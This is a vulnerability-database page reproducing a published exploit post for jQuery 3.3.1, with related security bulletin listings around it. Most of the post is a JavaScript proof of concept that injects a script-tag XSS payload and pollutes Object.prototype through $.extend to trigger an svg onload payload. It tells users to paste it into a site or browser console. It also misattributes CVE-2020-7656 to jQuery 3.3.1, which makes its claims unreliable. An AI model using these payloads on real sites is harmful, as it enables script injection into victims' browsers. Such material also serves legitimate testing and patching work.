Lucene search
K

📄 jQuery 3.3.1 Cross Site Scripting

🗓️ 08 Apr 2025 00:00:00Reported by xOryusType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 312 Views

Exploit jQuery 3.3.1 vulnerabilities CVE-2019-11358 and CVE-2020-7656 for Cross Site Scripting attacks.

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Security vulnerabilities have been identified in BigFix Platform shipped with IBM License Metric Tool.
24 Jul 202008:16
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities fixed in IBM Security Verify Governance
11 Jan 202416:41
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities Addressed in IBM Tivoli Network Manager IP Edition (ITNM) version 4.2 Fix Pack 20 (4.2.0.20)
11 Nov 202411:31
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in IBM WebSphere eXtreme Scale Liberty Deployment.
21 Mar 202318:07
ibm
IBM Security Bulletins
Security Bulletin: IBM Cognos Command Center is affected by multiple vulnerabilities
4 May 202320:23
ibm
IBM Security Bulletins
Security Bulletin: Multiple Vulnerabilities in IBM API Connect
30 Mar 202620:04
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in jQuery affect watsonx.data
30 Jan 202511:08
ibm
IBM Security Bulletins
Security Bulletin: IBM Maximo Asset Management is vulnerable to cross-site scripting (CVE-2019-11358)
6 Dec 201920:52
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in jQuery, Moment, Jackson-mapper-asl and Red Hat JBoss Enterprise Application Platform might affect IBM Storage Defender Copy Data Management.
16 May 202519:26
ibm
IBM Security Bulletins
Security Bulletin: IBM InfoSphere Information Server is affected by multiple vulnerabilities in JQuery, Node.js and Swagger UI
17 May 202319:40
ibm
Rows per page
# Exploit Title: jQuery Prototype Pollution & XSS Exploit (CVE-2019-11358 & CVE-2020-7656)
    # Google Dork: N/A
    # Date: 2025-02-13
    # Exploit Author: xOryus
    # Vendor Homepage: https://jquery.com
    # Software Link: https://code.jquery.com/jquery-3.3.1.min.js
    # Version: 3.3.1
    # Tested on: Windows 10, Ubuntu 20.04, Chrome 120, Firefox 112
    # CVE : CVE-2019-11358, CVE-2020-7656
    # Category: WebApps
    
    # Description:
    # This exploit abuses two vulnerabilities in jQuery:
    # - CVE-2020-7656: XSS via improper script handling
    # - CVE-2019-11358: Prototype Pollution leading to XSS
    # By injecting payloads into a vulnerable page using jQuery <3.4.X, attackers can execute arbitrary JavaScript in the victim's browser.
    #
    # Usage:
    # 1. Load this script in a page that includes jQuery 3.3.1
    # 2. Observe two XSS alerts via script injection and prototype pollution.
    
    # PoC (Proof of Concept):
    # ------------------------------------
    
    /*
     * Exploit for CVE-2020-7656 and CVE-2019-11358
     * Injects malicious JavaScript into a vulnerable page using jQuery <3.4.X
     */
    
    COPY ALL PAYLOAD AND INSERT ON SITE AND IN BROWSER CONSOLE (F12)
    
    // 1. Load vulnerable jQuery (version 3.3.1)
    const script = document.createElement('script');
    script.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js";
    document.head.appendChild(script);
    
    // 2. Function to execute after jQuery is loaded
    script.onload = function() {
        console.log("[+] Vulnerable jQuery loaded!");
    
        // 3. Inject malicious content for XSS (CVE-2020-7656)
        const maliciousContent = "<script>alert('XSS via CVE-2020-7656: ' + document.domain)</script >"; // Space after </script>
        $('body').append(maliciousContent);
        console.log("[+] XSS payload (CVE-2020-7656) injected. Alert will be displayed.");
    
        // 4. Exploit Prototype Pollution (CVE-2019-11358)
        const defaultConfig = {
            "backLink": "<a href='https://example.com'>Go Back</a>"
        };
    
        const maliciousParams = {
            "__proto__": {
                "backLink": "<svg onload=alert('XSS via CVE-2019-11358: Prototype Pollution!')>"
            }
        };
    
        // 5. Merge objects using vulnerable $.extend
        let config = $.extend(true, defaultConfig, maliciousParams);
        console.log("[+] Prototype Pollution executed via $.extend().");
    
        // 6. Create a container to inject malicious content
        const container = document.createElement('div');
        container.id = 'backLinkContainer';
        document.body.appendChild(container);
    
        // 7. Inject malicious content into the DOM
        $('#backLinkContainer').html(config.backLink);
        console.log("[+] XSS payload (CVE-2019-11358) injected into the DOM. Alert will be displayed.");
    };
    
    // 8. Instruction message
    console.log("[*] Script injected. Waiting for jQuery to load...");

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Apr 2025 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.1
EPSS0.01532
SSVC
312